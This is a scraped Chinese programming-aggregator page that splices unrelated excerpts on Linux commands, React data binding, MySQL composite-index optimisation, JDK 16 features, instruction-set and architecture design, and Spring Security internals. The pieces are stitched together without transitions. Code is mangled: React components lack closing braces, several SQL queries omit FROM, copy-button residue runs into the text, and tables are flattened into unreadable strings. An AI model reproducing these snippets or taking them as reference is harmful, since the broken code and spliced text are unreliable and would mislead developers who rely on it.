|
|
大方的钥匙扣 · 什麼是 Docker? | Oracle 台灣· 1 年前 · |
|
|
含蓄的火柴 · SQL 查询 - EF Core | ...· 2 年前 · |
|
|
玩足球的灯泡 · ASP.NET Zero--基础设施 - ...· 2 年前 · |
|
|
闷骚的弓箭 · how to find last ...· 2 年前 · |
|
|
爱运动的大象 · java json嵌套数组-掘金· 2 年前 · |
请写出常用的linux指令不低于10个,请写出linux tomcat启动。答:linux指令arch 显示机器的处理器架构(1)uname -m 显示机器的处理器架构(2)shutdown -h now 关闭系统(1)shutdown -r now 重启(1)cd /home 进入 '/ home' 目录'cd .. 返回上一级目录cd ../.. 返回上两级目录mkdir dir1 创建一个叫做 'dir1' 的目录'mkdir dir1 dir2 同时创建两个目录find / -name file1 从 '/' 开始进入根文件系统搜索文件和目录find / -user user1 搜索属于用户 'user1' 的文件和目录linuxtomcat启动进入tomcat下的bin目录执行 ./catalina.sh start直接启动即可,然后使用tail -f /usr/local/tomcat6/logs/catalina.out查看tomcat启动日志。
单项数据绑定在 Vue 中,可以通过 v-model 指令来实现双向数据绑定。但是,在 React 中并没有指令的概念,而且 React 默认不支持 双向数据绑定。React 只支持,把数据从 state 上传输到 页面,但是,无法自动实现数据从 页面 传输到 state 中 进行保存。React中,只支持单项数据绑定,不支持双向数据绑定。不信的话,我们来看下面这个例子:import React from "react"; export default class MyComponent extends React.Component { constructor(props) { super(props); this.state = { msg: "这是 MyComponent 组件 默认的msg" render() { return ( <div> <h3>呵呵哒</h3> <input type="text" value={this.state.msg} /> </div> }上方代码中,我们尝试在 input文本框中读取 state.msg 的值,运行结果中,却弹出了警告:Warning: Failed prop type: You provided a `value` prop to a form field without an `onChange` handler. This will render a read-only field. If the field should be mutable use `defaultValue`. Otherwise, set either `onChange` or `readOnly`.通过onChange方法,实现双向数据绑定如果针对 表单元素做 value 属性绑定,那么,必须同时为 表单元素 绑定 readOnly, 或者提供 onChange 事件:如果是绑定readOnly,表示这个元素只读,不能被修改。此时,控制台就不会弹出警告了。如果是绑定onChange,表示这个元素的值可以被修改,但是,要自己定义修改的逻辑。绑定readOnly的举例如下:(表示value中的数据是只读的)<input type="text" value={this.state.msg} readOnly />绑定 onChange 的举例如下:(通过onChange方法,实现双向数据绑定)(1)index.html:<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Document</title> </head> <body> <!-- 容器,通过 React 渲染得到的 虚拟DOM,会呈现到这个位置 --> <div id="app"></div> </body> </html>(2)main.js:// JS打包入口文件 // 1. 导入包 import React from "react"; import ReactDOM from "react-dom"; // 导入组件 import MyComponent from "./components/MyComponent.jsx"; // 使用 render 函数渲染 虚拟DOM ReactDOM.render( <div> <MyComponent></MyComponent> </div>, document.getElementById("app") );(3)components/MyComponent.jsximport React from "react"; export default class MyComponent extends React.Component { constructor(props) { super(props); this.state = { msg: "这是组件 默认的msg" render() { return ( <div> <h1>呵呵哒</h1> <input type="text" value={this.state.msg} onChange={this.txtChanged} ref="txt" /> <h3>{"实时显示msg中的内容:" + this.state.msg}</h3> </div> // 为 文本框 绑定 txtChanged 事件 txtChanged = (e) => { // 获取 <input> 文本框中 文本的3种方式: // 方式一:使用 document.getElementById // 方式二:使用 ref // console.log(this.refs.txt.value); // 方式三:使用 事件对象的 参数 e 来拿 // 此时,e.target 就表示触发 这个事件的 事件源对象,得到的是一个原生的JS DOM 对象。在这个案例里,e.target就是指文本框 // console.log(e.target.value); this.setState({ msg: e.target.value
二.联合索引问题优化联合索引其实有两个作用:1.充分利用where条件,缩小范围例如我们需要查询以下语句:SELECT * FROM test WHERE a = 1 AND b = 2点击复制代码复制出错复制成功如果对字段a建立单列索引,对b建立单列索引,那么在查询时,只能选择走索引a,查询所有a=1的主键id,然后进行回表,在回表的过程中,在聚集索引中读取每一行数据,然后过滤出b = 2结果集,或者走索引b,也是这样的过程。 如果对a,b建立了联合索引(a,b),那么在查询时,直接在联合索引中先查到a=1的节点,然后根据b=2继续往下查,查出符合条件的结果集,进行回表。2.避免回表(此时也叫覆盖索引)这种情况就是假如我们只查询某几个常用字段,例如查询a和b如下:SELECT a,b FROM test WHERE a = 1 AND b = 2点击复制代码复制出错复制成功对字段a建立单列索引,对b建立单列索引就需要像上面所说的,查到符合条件的主键id集合后需要去聚集索引下回表查询,但是如果我们要查询的字段本身在联合索引中就都包含了,那么就不用回表了。3.减少需要回表的数据的行数这种情况就是假如我们需要查询a>1并且b=2的数据SELECT * FROM test WHERE a > 1 AND b = 2点击复制代码复制出错复制成功如果建立的是单列索引a,那么在查询时会在单列索引a中把a>1的主键id全部查找出来然后进行回表。 如果建立的是联合索引(a,b),基于最左前缀匹配原则,因为a的查询条件是一个范围查找(=或者in之外的查询条件都是范围查找),这样虽然在联合索引中查询时只能命中索引a的部分,b的部分命中不了,只能根据a>1进行查询,但是由于联合索引中每个叶子节点包含b的信息,在查询出所有a>1的主键id时,也会对b=2进行筛选,这样需要回表的主键id就只有a>1并且b=2这部分了,所以回表的数据量会变小。我们业务中碰到的就是第3种情况,我们的业务SQL本来更加复杂,还会join其他表,但是由于优化的瓶颈在于建立联合索引,所以进行了一些简化,下面是简化后的SQL:SELECT a.id as article_id , a.title as title , a.author_id as author_id article a where a.create_time between '2020-03-29 03:00:00.003' and '2020-04-29 03:00:00.003' and a.status = 1点击复制代码复制出错复制成功我们的需求其实就是从article表中查询出最近一个月,status为1的文章,我们本来就是针对create_time建了单列索引,结果在慢查询日志中发现了这条语句,查询时间需要0.91s左右,所以开始尝试着进行优化。为了便于测试,我们在表中分别对create_time建立了单列索引create_time,对(create_time,status)建立联合索引idx_createTime_status。强制使用idx_createTime进行查询SELECT a.id as article_id , a.title as title , a.author_id as author_id article a FORCE INDEX(idx_createTime) where a.create_time between '2020-03-22 03:00:00.003' and '2020-04-22 03:00:00.003' and a.status = 1点击复制代码复制出错复制成功强制使用idx_createTime_status进行查询(即使不强制也是会选择这个索引)SELECT a.id as article_id , a.title as title , a.author_id as author_id article a FORCE INDEX(idx_createTime_status) where a.create_time between '2020-03-22 03:00:00.003' and '2020-04-22 03:00:00.003' and a.status = 1点击复制代码复制出错复制成功优化结果:优化前使用idx_createTime单列索引,查询时间为0.91s优化前使用idx_createTime_status联合索引,查询时间为0.21sEXPLAIN的结果如下:idtypekeykey_lenrowsfilteredExtra1rangeidx_createTime431160825.00Using index condition; Using where2rangeidx_createTime_status6310812100.00Using index condition原理分析先介绍一下EXPLAIN中Extra列的各种取值的含义Using filesort当Query 中包含 ORDER BY 操作,而且无法利用索引完成排序操作的时候,MySQL Query Optimizer 不得不选择相应的排序算法来实现。数据较少时从内存排序,否则从磁盘排序。Explain不会显示的告诉客户端用哪种排序。Using index仅使用索引树中的信息从表中检索列信息,而不需要进行附加搜索来读取实际行(使用二级覆盖索引即可获取数据)。 当查询仅使用作为单个索引的一部分的列时,可以使用此策略。Using temporary要解决查询,MySQL需要创建一个临时表来保存结果。 如果查询包含不同列的GROUP BY和ORDER BY子句,则通常会发生这种情况。官方解释:”为了解决查询,MySQL需要创建一个临时表来容纳结果。典型情况如查询包含可以按不同情况列出列的GROUP BY和ORDER BY子句时。很明显就是通过where条件一次性检索出来的结果集太大了,内存放不下了,只能通过加临时表来辅助处理。Using where表示当where过滤条件中的字段无索引时,MySQL Sever层接收到存储引擎(例如innodb)的结果集后,根据where条件中的条件进行过滤。Using index conditionUsing index condition 会先条件过滤索引,过滤完索引后找到所有符合索引条件的数据行,随后用 WHERE 子句中的其他条件去过滤这些数据行;我们的实际案例中,其实就是走单个索引idx_createTime时,只能从索引中查出 满足a.create_time between '2020-03-22 03:00:00.003' and '2020-04-22 03:00:00.003'条件的主键id,然后进行回表,因为idx_createTime索引中没有status的信息,只能回表后查出所有的主键id对应的行。然后innodb将结果集返回给MySQL Sever,MySQL Sever根据status字段进行过滤,筛选出status为1的字段,所以第一个查询的Explain结果中的Extra才会显示Using where。filtered字段表示存储引擎返回的数据在server层过滤后,剩下多少满足查询的记录数量的比例,这个是预估值,因为status取值是null,1,2,3,4,所以这里给的25%。所以第二个查询与第一个查询的区别主要在于一开始去idx_createTime_status查到的结果集就是满足status是1的id,所以去聚集索引下进行回表查询时,扫描的行数会少很多(大概是2.7万行与15万行的区别),之后innodb返回给MySQL Server的数据就是满足条件status是1的结果集(2.7万行),不用再进行筛选了,所以第二个查询才会快这么多,时间是优化前的23%。(两种查询方式的EXPLAIN预估扫描行数都是30万行左右是因为idx_createTime_status只命中了createTime,因为createTime不是查单个值,查的是范围)//查询结果行数是15万行左右 SELECT count(*) from article a where a.post_time between '2020-03-22 03:00:00.003' and '2020-04-22 03:00:00.003' //查询结果行数是2万6行左右 SELECT count(*) from article a where a.post_time between '2020-03-22 03:00:00.003' and '2020-04-22 03:00:00.003' and a.audit_status = 1点击复制代码复制出错复制成功发散思考:如果将联合索引(createTime,status)改成(status,createTime)会怎么样?where a.create_time between '2020-03-22 03:00:00.003' and '2020-04-22 03:00:00.003' and a.status = 1点击复制代码复制出错复制成功根据最左匹配的原则,因为我们的where查询条件是这样,如果是(createTime,status)那么索引就只能用到createTime,如果是(status,createTime),因为status是查询单个值,所以status,createTime都可以命中,在(status,createTime)索引中扫描行数会减少,但是由于(createTime,status)这个索引本身值包含createTime,status,id三个字段的信息,数据量比较小,而一个数据页是16k,可以存储1000个以上的索引数据节点,而且是查询到createTime后,进行的顺序IO,所以读取比较快,总得的查询时间两者基本是一致。下面是测试结果:首先创建了(status,createTime)名叫idx_status_createTime,SELECT a.id as article_id , a.title as title , a.author_id as author_id article a FORCE INDEX(idx_status_createTime) where a.create_time between '2020-03-22 03:00:00.003' and '2020-04-22 03:00:00.003' and a.status = 1点击复制代码复制出错复制成功查询时间是0.21,跟第二种方式(createTime,status)索引的查询时间基本一致。Explain结果对比:idtypekeykey_lenrowsfilteredExtra2rangeidx_createTime_status6310812100.00Using index condition3rangeidx_status_createTime652542100.00Using index condition扫描行数确实会少一些,因为在idx_status_createTime的索引中,一开始根据status = 1排除掉了status取值为其他值的情况。
新工具和库 JEP 380:Unix-Domain 套接字通道Unix-domain 套接字一直是大多数 Unix 平台的一个特性,现在在 Windows 10 和 Windows Server 2019 也提供了支持。此特性为 java.nio.channels 包的套接字通道和服务器套接字通道 API 添加了 Unix-domain(AF_UNIX)套接字支持。它扩展了继承的通道机制以支持 Unix-domain 套接字通道和服务器套接字通道。Unix-domain 套接字用于同一主机上的进程间通信(IPC)。它们在很大程度上类似于 TCP/IP,区别在于套接字是通过文件系统路径名而不是 Internet 协议(IP)地址和端口号寻址的。对于本地进程间通信,Unix-domain 套接字比 TCP/IP 环回连接更安全、更有效。JEP 390: 对基于值的类发出警告JDK9注解@Deprecated得到了增强,增加了 since 和 forRemoval 两个属性,可以分别指定一个程序元素被废弃的版本,以及是否会在今后的版本中被删除。JDK16中对@jdk.internal.ValueBased注解加入了基于值的类的告警,所以继续在 Synchronized 同步块中使用值类型,将会在编译期和运行期产生警告,甚至是异常。JDK9中@Deprecated增强了增加了 since 和 forRemoval 两 个属性JDK9注解@Deprecated得到了增强,增加了 since 和 forRemoval 两个属性,可以分别指定一个程序元素被废弃的版本,以及是否会在今后的版本中被删除。在如下的代码中,表示PdaiDeprecatedTest这个类在JDK9版本中被弃用并且在将来的某个版本中一定会被删除。@Deprecated(since="9", forRemoval = true) public class PdaiDeprecatedTest { }JDK16中对基于值的类(@jdk.internal.ValueBased)给出告警在JDK9中我们可以看到Integer.java类构造函数中加入了@Deprecated(since="9"),表示在JDK9版本中被弃用并且在将来的某个版本中一定会被删除public final class Integer extends Number implements Comparable<Integer> { // ... * Constructs a newly allocated {@code Integer} object that * represents the specified {@code int} value. * @param value the value to be represented by the * {@code Integer} object. * @deprecated * It is rarely appropriate to use this constructor. The static factory * {@link #valueOf(int)} is generally a better choice, as it is * likely to yield significantly better space and time performance. @Deprecated(since="9") public Integer(int value) { this.value = value; // ... }如下是JDK16中Integer.java的代码/* * <p>This is a <a href="{@docRoot}/java.base/java/lang/doc-files/ValueBased.html">value-based</a> * class; programmers should treat instances that are * {@linkplain #equals(Object) equal} as interchangeable and should not * use instances for synchronization, or unpredictable behavior may * occur. For example, in a future release, synchronization may fail. * <p>Implementation note: The implementations of the "bit twiddling" * methods (such as {@link #highestOneBit(int) highestOneBit} and * {@link #numberOfTrailingZeros(int) numberOfTrailingZeros}) are * based on material from Henry S. Warren, Jr.'s <i>Hacker's * Delight</i>, (Addison Wesley, 2002). * @author Lee Boynton * @author Arthur van Hoff * @author Josh Bloch * @author Joseph D. Darcy * @since 1.0 @jdk.internal.ValueBased public final class Integer extends Number implements Comparable<Integer>, Constable, ConstantDesc { // ... * Constructs a newly allocated {@code Integer} object that * represents the specified {@code int} value. * @param value the value to be represented by the * {@code Integer} object. * @deprecated * It is rarely appropriate to use this constructor. The static factory * {@link #valueOf(int)} is generally a better choice, as it is * likely to yield significantly better space and time performance. @Deprecated(since="9", forRemoval = true) public Integer(int value) { this.value = value; // ...添加@jdk.internal.ValueBased和@Deprecated(since="9", forRemoval = true)的作用是什么呢?JDK设计者建议使用Integer a = 10或者Integer.valueOf()函数,而不是new Integer(),让其抛出告警?在构造函数上都已经标记有@Deprecated(since="9", forRemoval = true)注解,这就意味着其构造函数在将来会被删除,不应该在程序中继续使用诸如new Integer(); 如果继续使用,编译期将会产生'Integer(int)' is deprecated and marked for removal 告警。在并发环境下,Integer 对象根本无法通过 Synchronized 来保证线程安全,让其抛出告警?由于JDK中对@jdk.internal.ValueBased注解加入了基于值的类的告警,所以继续在 Synchronized 同步块中使用值类型,将会在编译期和运行期产生警告,甚至是异常。public void inc(Integer count) { for (int i = 0; i < 10; i++) { new Thread(() -> { synchronized (count) { // 这里会产生编译告警 count++; }).start(); }JEP 392:打包工具(正式版)此特性最初是作为 Java 14 中的一个孵化器模块引入的,该工具允许打包自包含的 Java 应用程序。它支持原生打包格式,为最终用户提供自然的安装体验,这些格式包括 Windows 上的 msi 和 exe、macOS 上的 pkg 和 dmg,还有 Linux 上的 deb 和 rpm。它还允许在打包时指定启动时参数,并且可以从命令行直接调用,也可以通过 ToolProvider API 以编程方式调用。注意 jpackage 模块名称从 jdk.incubator.jpackage 更改为 jdk.jpackage。这将改善最终用户在安装应用程序时的体验,并简化了“应用商店”模型的部署。JEP 396:默认强封装 JDK 内部元素此特性会默认强封装 JDK 的所有内部元素,但关键内部 API(例如 sun.misc.Unsafe)除外。默认情况下,使用早期版本成功编译的访问 JDK 内部 API 的代码可能不再起作用。鼓励开发人员从使用内部元素迁移到使用标准 API 的方法上,以便他们及其用户都可以无缝升级到将来的 Java 版本。强封装由 JDK 9 的启动器选项–illegal-access 控制,到 JDK 15 默认改为 warning,从 JDK 16 开始默认为 deny。(目前)仍然可以使用单个命令行选项放宽对所有软件包的封装,将来只有使用–add-opens 打开特定的软件包才行。JVM 优化JEP 376:ZGC 并发线程处理JEP 376 将 ZGC 线程栈处理从安全点转移到一个并发阶段,甚至在大堆上也允许在毫秒内暂停 GC 安全点。消除 ZGC 垃圾收集器中最后一个延迟源可以极大地提高应用程序的性能和效率。JEP 387:弹性元空间此特性可将未使用的 HotSpot 类元数据(即元空间,metaspace)内存更快速地返回到操作系统,从而减少元空间的占用空间。具有大量类加载和卸载活动的应用程序可能会占用大量未使用的空间。新方案将元空间内存按较小的块分配,它将未使用的元空间内存返回给操作系统来提高弹性,从而提高应用程序性能并降低内存占用。
指令系统是软硬件的接口,程序员根据指令系统设计软件,硬件设计人员根据指令系统实现硬件。指令系统稍微变化,一系列软硬件都会受到影响,所以指令系统的设计应遵循如下基本原则:兼容性。这是指令系统的关键特性。最好能在较长时间内保持指令系统不变并保持向前兼容,例如X86指令系统,虽然背了很多历史包袱,要支持过时的指令,但其兼容性使得Intel在市场上获得了巨大的成功。很多其他指令系统进行过结构上的革命,导致新处理器与旧有软件无法兼容,反而造成了用户群体的流失。因此,保持指令系统的兼容性非常重要。通用性。为了适应各种应用需求,如网络应用、科学计算、视频解码、商业应用等,通用CPU指令系统的功能必须完备。而针对特定应用的专用处理器则不需要强调通用性。指令系统的设计还应满足操作系统管理的需求并方便编译器和程序员的使用。高效性。指令系统还要便于CPU硬件的设计和优化。对同一指令系统,不同的微结构实现可以得到不同的性能,既可以使用先进、复杂的技术得到较高的性能,也可以用成熟、简单的技术得到一般的性能。安全性。当今计算机系统的安全性非常重要,指令系统的设计应当为各种安全性提供支持,如提供保护模式等。影响指令系统的因素有很多,某些因素的变化会显著影响指令系统的设计,因此有必要了解各方面的影响因素。工艺技术。在计算机发展的早期阶段,计算机硬件非常昂贵,简化硬件实现成为指令系统的主要任务。到了20世纪八九十年代,随着工艺技术的发展,片内可集成晶体管的数量显著增加,CPU可集成更多的功能,功能集成度提高带来的更多可能性支持指令系统的快速发展,例如从32位结构上升至64位结构以及增加多媒体指令等。随着CPU主频的快速提升,CPU速度和存储器速度的差距逐渐变大,为了弥补这个差距,指令系统中增加预取指令将数据预取到高速缓存(Cache)甚至寄存器中。当工艺能力和功耗密度导致CPU主频达到一定极限时,多核结构成为主流,这又导致指令系统的变化,增加访存一致性和核间同步的支持。一方面,工艺技术的发展为指令系统的发展提供了物质基础;另一方面,工艺技术的发展也对指令系统的发展施加影响。计算机体系结构。指令系统本身就是计算机体系结构的一部分,系统结构的变化对指令系统的影响最为直接。诸如单指令多数据(Single Instruction Multiple Data,简称SIMD)、多核结构等新的体系结构特性必然会对指令系统产生影响。事实上,体系结构的发展与指令系统兼容性的基本原则要求是矛盾的,为了兼容性总会背上历史的包袱。X86指令系统和硬件实现就是因为这些历史包袱而变得比较复杂,而诸如PowerPC等精简指令系统都经历过彻底抛弃过时指令系统的过程。操作系统。现代操作系统都支持多进程和虚拟地址空间。虚拟地址空间使得应用程序无须考虑物理内存的分配,在计算机系统发展中具有里程碑意义。为了实现虚拟地址空间,需要设计专门的地址翻译模块以及与其配套的寄存器和指令。操作系统所使用的异常和中断也需要专门的支持。操作系统通常具有核心态、用户态等权限等级,核心态比用户态具有更高的等级和权限,需要设计专门的核心态指令。核心态指令对指令系统有较大的影响,X86指令系统一直在对核心态指令进行规范,MIPS指令系统直到MIPS32和MIPS64才对核心态进行了明确的定义,而Alpha指令系统则通过PALcode定义了抽象的操作系统与硬件的界面。编译技术。编译技术对指令系统的影响也比较大。RISC在某种意义上就是编译技术推动的结果。为使编译器有效地调度指令,至少需要16个通用寄存器。指令功能对编译器更加重要,例如一个指令系统没有乘法指令,编译器就只能将其拆成许多个加法进行运算。应用程序。计算机中的各种应用程序都实现一定的算法,指令是从各种算法中抽象出来的“公共算子”,算法就是由算子序列组成的。指令为应用而设计,因而指令系统随着应用的需求而发展。例如从早期的8位、16位到现在的32位、64位,从早期的只支持定点到支持浮点,从只支持通用指令到支持SIMD指令。此外,应用程序对指令系统的要求还包括前述的兼容性。总之,指令系统需遵循的设计原则和影响因素很多,指令系统的设计需要综合考虑多方因素并小心谨慎。
1.4.1 平衡性结构设计的第一个原则就是要考虑平衡性。一个木桶所盛的水量的多少由最短的木板决定,一个结构最终体现出的性能受限于其瓶颈部分。计算机是个复杂系统,影响性能的因素很多。例如,一台个人计算机使用起来比较卡顿,一般人会觉得主要是由于CPU性能不够,实际上真正引起性能卡顿的可能是内存带宽、硬盘或网络带宽、GPU性能,或者是CPU和GPU之间数据传输不顺,等等。又如,一般的CPU微结构研究专注于其中某些重要因素如Cache命中率和转移猜测命中率的改善,但通用CPU微结构中影响性能的因素非常复杂,重排序缓冲项数、发射队列项数、重命名寄存器个数、访存队列项数、失效队列项数、转移指令队列项数与一级Cache失效延迟、二级Cache失效延迟、三级Cache失效延迟等需要平衡设计,有关队列大小应保证一级Cache和二级Cache的失效不会引起流水线的堵塞。通用CPU设计有一个关于计算性能和访存带宽平衡的经验原则,即峰值浮点运算速度(MFLOPS)和峰值访存带宽(MB/s)为1∶1左右。表1.3给出了部分典型CPU的峰值浮点运算速度和访存带宽比。从表中可以看出,一方面,最新的CPU峰值浮点运算速度和访存带宽比逐步增加,说明带宽已经成为通用CPU的重要瓶颈,多核的发展是有限度的;另一方面,如果去除SIMD(Single Instruction Multiple Data)的因素,即去除128位SIMD浮点峰值为64位浮点的2倍,256位SIMD浮点峰值为64位浮点的4倍的因素,则浮点峰值和访存带宽还是基本保持着1∶1的关系,因为SIMD一般只有科学计算使用,一般的事务处理不会用SIMD的浮点性能。表 1.3: 典型CPU的浮点峰值和访存带宽比CPU年代主频SIMDGFLOPSGB/s含SIMD比例无SIMD比例DEC Alpha 212641,996600MHz-1.22.00.600.60AMD K7 Athlon1,999700MHz-1.41.60.880.88Intel Pentium III1,999600MHz-0.60.80.750.75Intel Pentium IV2,0011.5GHz-3.03.20.940.94Intel Core2 E6420 X22,0072.8GHz128位22.48.52.641.32AMD K10 Phenom II X4 9552,0093.2GHz128位51.221.32.401.20Intel Nehalem X55602,0092.8GHz128位44.832.01.400.70IBM Power82,0145.0GHz128位480.0230.42.081.04AMD Piledriver Fx83502,0144.0GHz256位128.029.94.291.07Intel Skylake E3-1230 V52,0153.4GHz256位217.634.16.381.60龙芯3A20002,0151.0GHz-16.016.01.001.00龙芯3A50002,0202.5GHz256位160.051.23.130.78计算机体系结构中有一个著名的Amdahl定律。该定律指出通过使用某种较快的执行方式所获得的性能的提高,受限于不可使用这种方式提高性能的执行时间所占总执行时间的百分比,例如一个程序的并行加速比,最终受限于不能被并行化的串行部分。也就是性能的提升不仅跟其中的一些指令的运行时间的优化有关,还和这些指令在总指令数中所占的比例有关:\[ ExTime_{new} = Extime_{old} * \left((1 - Fraction_{enhanced}) + \frac{Fraction_{enhanced}}{Speedup_{enhanced}}\right) \]\[ Speedup_{overall} = \frac{Extime_{old}}{ExTime_{new}} \]在计算机体系结构设计里Amdahl定律的体现非常普遍。比如说并行化,一个程序中有一些部分是不能被并行化的,而这些部分将成为程序优化的一个瓶颈。举一个形象的例子,一个人花一个小时可以做好一顿饭,但是60个人一起做不可能用一分钟就能做好,因为做饭的过程有一些因素是不可被并行化的。结构设计要统筹兼顾,抓住主要因素的同时不要忽略次要因素,否则当主要的瓶颈问题解决以后,原来不是瓶颈的次要因素可能成为瓶颈。就像修马路,在一个本来堵车的路口修座高架桥,这个路口不堵车了,但与这个路口相邻的路口可能堵起来。体系结构设计的魅力正在于在诸多复杂因素中做到统筹兼顾。1.4.2 局部性局部性是事物普遍存在的性质。一个人认识宇宙的范围受限于光速和人的寿命,这是一种局部性;一个人只能认识有限的人,其中天天打交道的熟悉的人更少,这也是一种局部性。局部性在计算机中普遍存在,是计算机性能优化的基础。体系结构利用局部性进行性能优化时,最常见的是利用事件局部性,即有些事件频繁发生,有些事件不怎么发生,在这种情况下要重点优化频繁发生的事件。当结构设计基本平衡以后,优化性能要抓主要矛盾,重点改进最频繁发生事件的执行效率。作为设计者必须清楚什么是经常性事件,以及提高这种情况下机器运行的速度对计算机整体性能有多大贡献。例如,假设我们把处理器中浮点功能部件执行的性能提高一倍,但是整个程序里面只有10%的浮点指令,总的性能加速比是1÷0.95=1.053,也就是说即使把所有浮点指令的计算速度提高了一倍,总的CPU性能只提高了5%。所以应该加快经常性事件的速度。把经常性的事件找出来,而且它占的百分比越高越好,再来优化这些事件,这是一个基本的原理。RISC指令系统的提出就是利用指令的事件局部性对频繁发生的事件进行重点优化的例子。硬件转移猜测则是利用转移指令跳转方向的局部性,即同一条转移指令在执行时经常往同一个方向跳转。利用访存局部性进行优化是体系结构提升访存指令性能的重要方法。访存局部性包括时间局部性和空间局部性两种。时间局部性指的是一个数据被访问后很有可能多次被访问。空间局部性指的是一个数据被访问后,它邻近的数据很有可能被访问,例如数组按行访问时相邻的数据连续被访问,按列访问时虽然空间上不连续,但每次加上一个固定的步长,也是一种特殊的空间局部性。计算机体系结构使用访存局部性原理来提高性能的地方很多,如高速缓存、TLB、预取都利用了访存局部性。
Spring Security 是一款基于 Spring 的安全框架,主要包含认证和授权两大安全模块,和另外一款流行的安全框架 Apache Shiro 相比,它拥有更为强大的功能。Spring Security 也可以轻松的自定义扩展以满足各种需求,并且对常见的 Web 安全攻击提供了防护支持。如果你的 Web 框架选择的是 Spring,那么在安全方面 Spring Security 会是一个不错的选择。这里我们使用 Spring Boot 来集成 Spring Security,Spring Boot 版本为2.5.3,Spring Security 版本为5.5.1。开启 Spring Security使用 IDEA 创建一个 Spring Boot 项目,然后引入spring-boot-starter-security:dependencies { implementation 'org.springframework.boot:spring-boot-starter-security' implementation 'org.springframework.boot:spring-boot-starter-web' implementation 'org.projectlombok:lombok:1.18.8' annotationProcessor 'org.projectlombok:lombok:1.18.8' providedRuntime 'org.springframework.boot:spring-boot-starter-tomcat' testImplementation 'org.springframework.boot:spring-boot-starter-test' testImplementation 'org.springframework.security:spring-security-test' }Copy to clipboardErrorCopied接下来我们创建一个HelloController,对外提供一个/hello服务:@RestController public class HelloController { @GetMapping("hello") public String hello() { return "hello world"; }Copy to clipboardErrorCopied这时候我们直接启动项目,访问http://localhost:8080/hello,可以看到页面跳转到一个登陆页面:默认的用户名为 user,密码由 Sping Security 自动生成,回到 IDEA 的控制台,可以找到密码信息:Using generated security password: 4f06ba04-37e9-4bdd-a085-3305260da0d6Copy to clipboardErrorCopied输入用户名 user,密码 4f06ba04-37e9-4bdd-a085-3305260da0d6 后,我们便可以成功访问/hello接口。基本原理Spring Security 默认为我们开启了一个简单的安全配置,下面让我们来了解其原理。当 Spring Boot 项目配置了 Spring Security 后,Spring Security 的整个加载过程如下图所示:而当我们访问http://localhost:8080/hello时,代码的整个执行过程如下图所示:如上图所示,Spring Security 包含了众多的过滤器,这些过滤器形成了一条链,所有请求都必须通过这些过滤器后才能成功访问到资源。下面我们通过 debug 来验证这个过程:首先,通过前面可以知道,当有请求来到时,最先由DelegatingFilterProxy负责接收,因此在DelegatingFilterProxy的doFilter()的首行打上断点:接着DelegatingFilterProxy会将请求委派给FilterChainProxy进行处理,在FilterChainProxy的首行打上断点:FilterChainProxy会在doFilterInternal()中生成一个内部类VirtualFilterChain的实例,以此来调用 Spring Security 的整条过滤器链,在VirtualFilterChain的doFilter()首行打上断点:接下来VirtualFilterChain会通过currentPosition依次调用存在additionalFilters中的过滤器,其中比较重要的几个过滤器有:UsernamePasswordAuthenticationFilter、DefaultLoginPageGeneratingFilter、AnonymousAuthenticationFilter、ExceptionTranslationFilter、FilterSecurityInterceptor,我们依次在这些过滤器的doFilter()的首行打上断点:准备完毕后,我们启动项目,然后访问http://localhost:8080/hello,程序首先跳转到DelegatingFilterProxy的断点上:此时delegate还是 null 的,接下来依次执行代码,可以看到delegate最终被赋值一个FilterChainProxy的实例:接下来程序依次跳转到FilterChainProxy的doFilter()和VirtualFilterChain的doFilter()中:接着程序跳转到AbstractAuthenticationProcessingFilter(UsernamePasswordAuthenticationFilter的父类)的doFilter()中,通过requiresAuthentication()判定为 false(是否是 POST 请求):接着程序跳转到DefaultLoginPageGeneratingFilter的doFilter()中,通过isLoginUrlRequest()判定为 false(请求路径是否是/login):接着程序跳转到AnonymousAuthenticationFilter的doFilter()中,由于是首次请求,此时SecurityContextHolder.getContext().getAuthentication()为 null,因此会生成一个AnonymousAuthenticationToken的实例:接着程序跳转到ExceptionTranslationFilter的doFilter()中,ExceptionTranslationFilter负责处理FilterSecurityInterceptor抛出的异常,我们在 catch 代码块的首行打上断点:接着程序跳转到FilterSecurityInterceptor的doFilter()中,依次执行代码后程序停留在其父类(AbstractSecurityInterceptor)的attemptAuthorization()中:accessDecisionManager是AccessDecisionManager(访问决策器)的实例,AccessDecisionManager主要有 3 个实现类:AffirmativeBased(一票通过),ConsensusBased(少数服从多数)、UnanimousBased(一票否决),此时AccessDecisionManager的的实现类是AffirmativeBased,我们可以看到程序进入AffirmativeBased的decide()中:从上图可以看出,决策的关键在voter.vote(authentication, object, configAttributes)这句代码上,通过跟踪调试,程序最终进入AuthenticationTrustResolverImpl的isAnonymous()中:isAssignableFrom()判断前者是否是后者的父类,而anonymousClass被固定为AnonymousAuthenticationToken.class,参数authentication由前面AnonymousAuthenticationFilter可以知道是AnonymousAuthenticationToken的实例,因此isAnonymous()返回 true,FilterSecurityInterceptor抛出AccessDeniedException异常,程序返回ExceptionTranslationFilter的 catch 块中:接着程序会依次进入DelegatingAuthenticationEntryPoint、LoginUrlAuthenticationEntryPoint中,最后由LoginUrlAuthenticationEntryPoint的commence()决定重定向到/login:后续对/login的请求同样会经过之前的执行流程,在DefaultLoginPageGeneratingFilter的doFilter()中,通过isLoginUrlRequest()判定为 true(请求路径是否是/login),直接返回login.html,也就是我们开头看到的登录页面。当我们输入用户名和密码,点击Sign in,程序来到AbstractAuthenticationProcessingFilter的doFilter()中,通过requiresAuthentication()判定为 true(是否是 POST 请求),因此交给其子类UsernamePasswordAuthenticationFilter进行处理,UsernamePasswordAuthenticationFilter会将用户名和密码封装成一个UsernamePasswordAuthenticationToken的实例并进行校验,当校验通过后会将请求重定向到我们一开始请求的路径:/hello。后续对/hello的请求经过过滤器链时就可以一路开绿灯直到最终交由HelloController返回"Hello World"。
